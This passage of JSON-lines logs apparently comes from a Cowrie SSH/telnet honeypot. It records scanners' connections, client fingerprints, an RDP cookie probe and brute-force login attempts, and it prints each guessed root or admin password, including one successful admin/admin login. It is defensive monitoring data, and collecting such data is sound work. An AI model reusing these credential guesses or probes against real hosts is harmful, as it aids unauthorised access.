-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:10.502402Z","src_ip":"87.251.64.176","session":"b76d7cf07c59","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:10.789818Z","src_ip":"87.251.64.176","session":"b76d7cf07c59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:10.892812Z","session":"b76d7cf07c59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:11.001124Z","src_ip":"87.251.64.176","session":"b76d7cf07c59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:11.099867Z","src_ip":"87.251.64.176","session":"b76d7cf07c59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":41228,"dst_ip":"10.17.0.5","dst_port":22,"session":"162de656591a","protocol":"ssh","message":"New connection: 103.149.170.125:41228 (10.17.0.5:22) [session: 162de656591a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:12.703954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:12.708929Z","src_ip":"103.149.170.125","session":"162de656591a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":60514,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf509a01fd20","protocol":"ssh","message":"New connection: 167.172.81.52:60514 (159.203.135.109:22) [session: bf509a01fd20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:12.782212Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:12.813605Z","src_ip":"167.172.81.52","session":"bf509a01fd20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:12.818279Z","src_ip":"167.172.81.52","session":"bf509a01fd20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:12.978545Z","src_ip":"103.149.170.125","session":"162de656591a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20092009","message":"login attempt [root/20092009] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:13.782424Z","src_ip":"103.149.170.125","session":"162de656591a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:15.646646Z","src_ip":"103.149.170.125","session":"162de656591a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":44412,"dst_ip":"10.17.0.5","dst_port":22,"session":"34baffc67158","protocol":"ssh","message":"New connection: 103.115.56.3:44412 (10.17.0.5:22) [session: 34baffc67158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:27.076208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:27.087143Z","src_ip":"103.115.56.3","session":"34baffc67158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:27.325227Z","src_ip":"103.115.56.3","session":"34baffc67158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2plus2=4","message":"login attempt [root/2plus2=4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:28.220878Z","src_ip":"103.115.56.3","session":"34baffc67158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:29.441816Z","src_ip":"103.115.56.3","session":"34baffc67158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":57208,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5df912a986a","protocol":"ssh","message":"New connection: 193.37.70.224:57208 (10.17.0.5:22) [session: c5df912a986a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:38.328742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:38.333308Z","src_ip":"193.37.70.224","session":"c5df912a986a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:38.426228Z","src_ip":"193.37.70.224","session":"c5df912a986a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bhbyrf","message":"login attempt [root/bhbyrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:38.704326Z","src_ip":"193.37.70.224","session":"c5df912a986a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:40.124970Z","src_ip":"193.37.70.224","session":"c5df912a986a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":39212,"dst_ip":"10.17.0.5","dst_port":22,"session":"850c573abe4a","protocol":"ssh","message":"New connection: 170.106.191.31:39212 (10.17.0.5:22) [session: 850c573abe4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:43.603161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:43.613441Z","src_ip":"170.106.191.31","session":"850c573abe4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:43.681396Z","src_ip":"170.106.191.31","session":"850c573abe4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cmb","message":"login attempt [root/cmb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:44.003513Z","src_ip":"170.106.191.31","session":"850c573abe4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":35598,"dst_ip":"159.203.135.109","dst_port":23,"session":"46debb4a5a5b","protocol":"telnet","message":"New connection: 213.108.3.46:35598 (159.203.135.109:23) [session: 46debb4a5a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:44.194773Z"}
{"eventid":"cowrie.session.closed","duration":0.015562295913696289,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:44.210242Z","src_ip":"213.108.3.46","session":"46debb4a5a5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:45.073836Z","src_ip":"170.106.191.31","session":"850c573abe4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":52276,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d1fa24e7864","protocol":"ssh","message":"New connection: 139.19.117.129:52276 (159.203.135.109:22) [session: 6d1fa24e7864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:45.436872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:45.441705Z","src_ip":"139.19.117.129","session":"6d1fa24e7864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:45.537905Z","src_ip":"139.19.117.129","session":"6d1fa24e7864","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:91:a4:76:93:dd:aa:e6:b8:40:f7:18:96:db:84:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8vlPpc3X7NgX49pTAOpBIKdDQZToL5nhK+XK75dzy04bxU6znKwRRQEF42q5arOC7AWNUY8V+i9J5u1kQQGaUD4zmB8TIrCVmiSb4Fx0Kl/TQ2YzjTgo7PU7HPUk2l/SyqRlkmJbYwziygRlTiBMYcocdnpOcd7EZ+JbDHP7u1IM2pdpnokPsK4S2OT8HJ0wEmMObYTKX8efyXvHacU8Tp1oTBwgYJFVQufL+8BO2N5BBiD/FCPpso7RZqTp0yKcfvtnEDL0Duw7Xmz0JSUsKtN+uUEwJMEHPl5bo05EKI50H1t3xv6GZ32RICjaA/4gdx9p+Oc/xtvWmuvCI5/PJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:91:a4:76:93:dd:aa:e6:b8:40:f7:18:96:db:84:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:45.733214Z","src_ip":"139.19.117.129","session":"6d1fa24e7864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:91:a4:76:93:dd:aa:e6:b8:40:f7:18:96:db:84:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8vlPpc3X7NgX49pTAOpBIKdDQZToL5nhK+XK75dzy04bxU6znKwRRQEF42q5arOC7AWNUY8V+i9J5u1kQQGaUD4zmB8TIrCVmiSb4Fx0Kl/TQ2YzjTgo7PU7HPUk2l/SyqRlkmJbYwziygRlTiBMYcocdnpOcd7EZ+JbDHP7u1IM2pdpnokPsK4S2OT8HJ0wEmMObYTKX8efyXvHacU8Tp1oTBwgYJFVQufL+8BO2N5BBiD/FCPpso7RZqTp0yKcfvtnEDL0Duw7Xmz0JSUsKtN+uUEwJMEHPl5bo05EKI50H1t3xv6GZ32RICjaA/4gdx9p+Oc/xtvWmuvCI5/PJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:45.737885Z","src_ip":"139.19.117.129","session":"6d1fa24e7864","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:91:a4:76:93:dd:aa:e6:b8:40:f7:18:96:db:84:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8vlPpc3X7NgX49pTAOpBIKdDQZToL5nhK+XK75dzy04bxU6znKwRRQEF42q5arOC7AWNUY8V+i9J5u1kQQGaUD4zmB8TIrCVmiSb4Fx0Kl/TQ2YzjTgo7PU7HPUk2l/SyqRlkmJbYwziygRlTiBMYcocdnpOcd7EZ+JbDHP7u1IM2pdpnokPsK4S2OT8HJ0wEmMObYTKX8efyXvHacU8Tp1oTBwgYJFVQufL+8BO2N5BBiD/FCPpso7RZqTp0yKcfvtnEDL0Duw7Xmz0JSUsKtN+uUEwJMEHPl5bo05EKI50H1t3xv6GZ32RICjaA/4gdx9p+Oc/xtvWmuvCI5/PJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:91:a4:76:93:dd:aa:e6:b8:40:f7:18:96:db:84:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:45.843027Z","src_ip":"139.19.117.129","session":"6d1fa24e7864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:91:a4:76:93:dd:aa:e6:b8:40:f7:18:96:db:84:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8vlPpc3X7NgX49pTAOpBIKdDQZToL5nhK+XK75dzy04bxU6znKwRRQEF42q5arOC7AWNUY8V+i9J5u1kQQGaUD4zmB8TIrCVmiSb4Fx0Kl/TQ2YzjTgo7PU7HPUk2l/SyqRlkmJbYwziygRlTiBMYcocdnpOcd7EZ+JbDHP7u1IM2pdpnokPsK4S2OT8HJ0wEmMObYTKX8efyXvHacU8Tp1oTBwgYJFVQufL+8BO2N5BBiD/FCPpso7RZqTp0yKcfvtnEDL0Duw7Xmz0JSUsKtN+uUEwJMEHPl5bo05EKI50H1t3xv6GZ32RICjaA/4gdx9p+Oc/xtvWmuvCI5/PJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:45.846965Z","src_ip":"139.19.117.129","session":"6d1fa24e7864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:53:55.436960Z","src_ip":"139.19.117.129","session":"6d1fa24e7864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":1291,"dst_ip":"10.17.0.5","dst_port":22,"session":"6842b83d1785","protocol":"ssh","message":"New connection: 102.88.137.213:1291 (10.17.0.5:22) [session: 6842b83d1785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:30.738245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:54:30.742466Z","src_ip":"102.88.137.213","session":"6842b83d1785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@opens